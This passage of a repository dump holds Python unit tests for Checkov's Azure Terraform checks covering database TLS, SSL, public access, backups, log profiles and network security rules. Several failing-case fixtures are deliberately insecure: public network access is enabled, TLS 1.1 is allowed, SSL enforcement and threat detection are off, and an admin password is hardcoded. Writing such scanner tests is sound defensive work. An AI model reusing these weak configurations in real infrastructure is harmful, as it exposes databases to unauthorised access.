checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.MLComputeClusterMinNodes import check class TestMLComputeClusterMinNodes(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MLComputeClusterMinNodes") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_machine_learning_compute_cluster.ckv_unittest_pass' } failing_resources = { 'azurerm_machine_learning_compute_cluster.ckv_unittest_fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MLPublicAccess.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.MLPublicAccess import check class TestMLPublicAccess(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MLPublicAccess") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_machine_learning_workspace.ckv_unittest_pass' } failing_resources = { 'azurerm_machine_learning_workspace.ckv_unittest_fail', 'azurerm_machine_learning_workspace.ckv_unittest_fail_2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MSSQLServerAuditPolicyLogMonitor.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.MSSQLServerAuditPolicyLogMonitor import check class TestMSSQLServerAuditPolicyLogMonitor(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MSSQLServerAuditPolicyLogMonitor") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_mssql_database_extended_auditing_policy.pass', } failing_resources = { 'azurerm_mssql_database_extended_auditing_policy.fail', 'azurerm_mssql_database_extended_auditing_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MSSQLServerMinTLSVersion.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MSSQLServerMinTLSVersion import check from checkov.common.models.enums import CheckResult class TestMSSQLServerMinTLSVersion(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server" "examplea" { name = var.server_name resource_group_name = var.resource_group.name location = var.resource_group.location version = var.sql["version"] administrator_login = var.sql["administrator_login"] administrator_login_password = local.administrator_login_password minimum_tls_version = "1.1" public_network_access_enabled = var.sql["public_network_access_enabled"] identity { type = "SystemAssigned" } tags = var.common_tags } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server" "examplea" { name = var.server_name resource_group_name = var.resource_group.name location = var.resource_group.location version = var.sql["version"] administrator_login = var.sql["administrator_login"] administrator_login_password = local.administrator_login_password minimum_tls_version = "1.2" public_network_access_enabled = var.sql["public_network_access_enabled"] identity { type = "SystemAssigned" } tags = var.common_tags } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MariaDBGeoBackupEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MariaDBGeoBackupEnabled import check from checkov.common.models.enums import CheckResult class MariaDBGeoBackupEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mariadb_server" "example" { name = var.server_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_login administrator_login_password = random_string.password.result sku_name = "B_Gen5_2" storage_mb = 5120 version = "10.2" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false public_network_access_enabled = true #test this i guess ssl_enforcement_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_empty(self): hcl_res = hcl2.loads(""" resource "azurerm_mariadb_server" "example" { name = var.server_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_login administrator_login_password = random_string.password.result sku_name = "B_Gen5_2" storage_mb = 5120 version = "10.2" auto_grow_enabled = true backup_retention_days = 7 public_network_access_enabled = true #test this i guess ssl_enforcement_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mariadb_server" "example" { name = var.server_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_login administrator_login_password = random_string.password.result sku_name = "B_Gen5_2" storage_mb = 5120 version = "10.2" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true public_network_access_enabled = false #test this i guess ssl_enforcement_enabled = true } """) resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MariaDBPublicAccessDisabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MariaDBPublicAccessDisabled import check from checkov.common.models.enums import CheckResult class TestMariaDBPublicAccessDisabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mariadb_server" "example" { name = var.server_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_login administrator_login_password = random_string.password.result sku_name = "B_Gen5_2" storage_mb = 5120 version = "10.2" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false public_network_access_enabled = true #test this i guess ssl_enforcement_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mariadb_server" "example" { name = var.server_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_login administrator_login_password = random_string.password.result sku_name = "B_Gen5_2" storage_mb = 5120 version = "10.2" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false public_network_access_enabled = false #test this i guess ssl_enforcement_enabled = true } """) resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MariaDBSSLEnforcementEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MariaDBSSLEnforcementEnabled import check from checkov.common.models.enums import CheckResult class TestMariaDBSSLEnforcementEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mariadb_server" "example" { name = var.server_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_login administrator_login_password = random_string.password.result sku_name = "B_Gen5_2" storage_mb = 5120 version = "10.2" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false public_network_access_enabled = false #test this i guess ssl_enforcement_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mariadb_server" "example" { name = var.server_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_login administrator_login_password = random_string.password.result sku_name = "B_Gen5_2" storage_mb = 5120 version = "10.2" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false public_network_access_enabled = false #test this i guess ssl_enforcement_enabled = true } """) resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MonitorLogProfileCategories.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MonitorLogProfileCategories import check from checkov.common.models.enums import CheckResult class TestMonitorLogProfileCategories(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action" ] locations = [ "westus", "global", ] retention_policy { enabled = true days = 7 } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action", "Delete", "Write", ] locations = [ "westus", "global", ] retention_policy { enabled = true days = 365 } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_fail_missing(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" locations = [ "westus", "global", ] retention_policy { enabled = false days = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_fail_empty(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [] locations = [ "westus", "global", ] retention_policy { enabled = false days = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MonitorLogProfileRetentionDays.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MonitorLogProfileRetentionDays import check from checkov.common.models.enums import CheckResult class TestMonitorLogProfileRetentionDays(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action", "Delete", "Write", ] locations = [ "westus", "global", ] retention_policy { enabled = true days = 7 } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action", "Delete", "Write", ] locations = [ "westus", "global", ] retention_policy { enabled = true days = null } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_1(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action", "Delete", "Write", ] locations = [ "westus", "global", ] retention_policy { enabled = true days = 365 } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_2(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action", "Delete", "Write", ] locations = [ "westus", "global", ] retention_policy { enabled = false days = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure_missing(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action", "Delete", "Write", ] locations = [ "westus", "global", ] } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_unknown(self): hcl_res = hcl2.loads(""" resource "azurerm_monitor_log_profile" "example" { name = "default" categories = [ "Action", "Delete", "Write", ] locations = [ "westus", "global", ] retention_policy { enabled = true days = var.days } } """) resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.UNKNOWN, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MySQLEncryptionEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.PostgreSQLEncryptionEnabled import check from checkov.common.models.enums import CheckResult class TestMySQLEncryptionEnabled(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 infrastructure_encryption_enabled = false auto_grow_enabled = true public_network_access_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 auto_grow_enabled = true ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-psqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "psqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "GP_Gen5_4" version = "9.6" storage_mb = 640000 backup_retention_days = 7 infrastructure_encryption_enabled = true auto_grow_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MySQLGeoBackupEnabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.MySQLGeoBackupEnabled import check from checkov.terraform.runner import Runner class TestMySQLGeoBackupEnabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_MySQLGeoBackupEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_mysql_flexible_server.pass", "azurerm_mysql_server.pass", } failing_resources = { "azurerm_mysql_flexible_server.fail", "azurerm_mysql_flexible_server.fail2", "azurerm_mysql_server.fail", "azurerm_mysql_server.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MySQLPublicAccessDisabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MySQLPublicAccessDisabled import check from checkov.common.models.enums import CheckResult class TestMySQLPublicAccessDisabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "examplea" { name = var.mysqlserver_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_name administrator_login_password = var.password sku_name = var.sku_name storage_mb = var.storage_mb version = var.server_version auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false infrastructure_encryption_enabled = false public_network_access_enabled = true } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_missing_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "examplea" { name = var.mysqlserver_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_name administrator_login_password = var.password sku_name = var.sku_name storage_mb = var.storage_mb version = var.server_version auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false infrastructure_encryption_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "examplea" { name = var.mysqlserver_name location = var.resource_group.location resource_group_name = var.resource_group.name administrator_login = var.admin_name administrator_login_password = var.password sku_name = var.sku_name storage_mb = var.storage_mb version = var.server_version auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = false infrastructure_encryption_enabled = false public_network_access_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MySQLServerMinTLSVersion.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MySQLServerMinTLSVersion import check from checkov.common.models.enums import CheckResult class TestMySQLServerMinTLSVersion(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "examplea" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_1" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "examplea" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MySQLServerSSLEnforcementEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MySQLServerSSLEnforcementEnabled import check from checkov.common.models.enums import CheckResult class TestMySQLServerSSLEnforcementEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MySQLTreatDetectionEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.MySQLTreatDetectionEnabled import check from checkov.common.models.enums import CheckResult class TestMySQLTreatDetectionEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_2" threat_detection_policy { enabled = false } } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_empty(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = false ssl_minimal_tls_version_enforced = "TLS1_2" } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mysql_server" "example" { name = "example-mysqlserver" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name administrator_login = "mysqladminun" administrator_login_password = "H@Sh1CoR3!" sku_name = "B_Gen5_2" storage_mb = 5120 version = "5.7" auto_grow_enabled = true backup_retention_days = 7 geo_redundant_backup_enabled = true infrastructure_encryption_enabled = true public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" threat_detection_policy { enabled = true } } """) resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_NSGRuleHTTPAccessRestricted.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.NSGRuleHTTPAccessRestricted import check from checkov.terraform.runner import Runner class TestNSGRuleSSHAccessRestricted(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NSGRuleHTTPAccessRestricted" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { 'azurerm_network_security_group.dynamic_nsg_pass', "azurerm_network_security_rule.https", "azurerm_network_security_rule.http_restricted_prefixes", "azurerm_network_security_group.http_restricted", } failing_resources = { "azurerm_network_security_rule.all", "azurerm_network_security_rule.range", "azurerm_network_security_rule.ranges_prefixes", "azurerm_network_security_rule.http", "azurerm_network_security_group.ranges", 'azurerm_network_security_group.dynamic_nsg_fail', } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 6) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_NSGRuleRDPAccessRestricted.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.NSGRuleRDPAccessRestricted import check from checkov.terraform.runner import Runner class TestNSGRuleRDPAccessRestricted(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NSGRuleRDPAccessRestricted" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_network_security_rule.https", "azurerm_network_security_rule.rdp_restricted_prefixes", "azurerm_network_security_group.rdp_restricted", "azurerm_network_security_group.snet_nsgs" } failing_resources = { "azurerm_network_security_rule.all", "azurerm_network_security_rule.range", "azurerm_network_security_rule.ranges_prefixes", "azurerm_network_security_rule.rdp", "azurerm_network_security_group.ranges", "azurerm_network_security_rule.ranges_prefixes_lower_case", "azurerm_network_security_rule.range_prefix_lower_case", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 7) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_NSGRuleSSHAccessRestricted.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.NSGRuleSSHAccessRestricted import check from checkov.terraform.runner import Runner class TestNSGRuleSSHAccessRestricted(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NSGRuleSSHAccessRestricted" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_network_security_rule.https", "azurerm_network_security_rule.ssh_restricted_prefixes", "azurerm_network_security_group.ssh_restricted", } failing_resources = { "azurerm_network_security_rule.all", "azurerm_network_security_rule.range", "azurerm_network_security_rule.ranges_prefixes", "azurerm_network_security_rule.ssh", "azurerm_network_security_group.ranges", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 5) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_NSGRuleUDPAccessRestricted.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.NSGRuleUDPAccessRestricted import check from checkov.terraform.runner import Runner class TestNSGRuleUDPAccessRestricted(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_NSGRuleUDPAccessRestricted" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_network_security_rule.pass", "azurerm_network_security_rule.pass2", "azurerm_network_security_rule.pass3", "azurerm_network_security_group.pass", 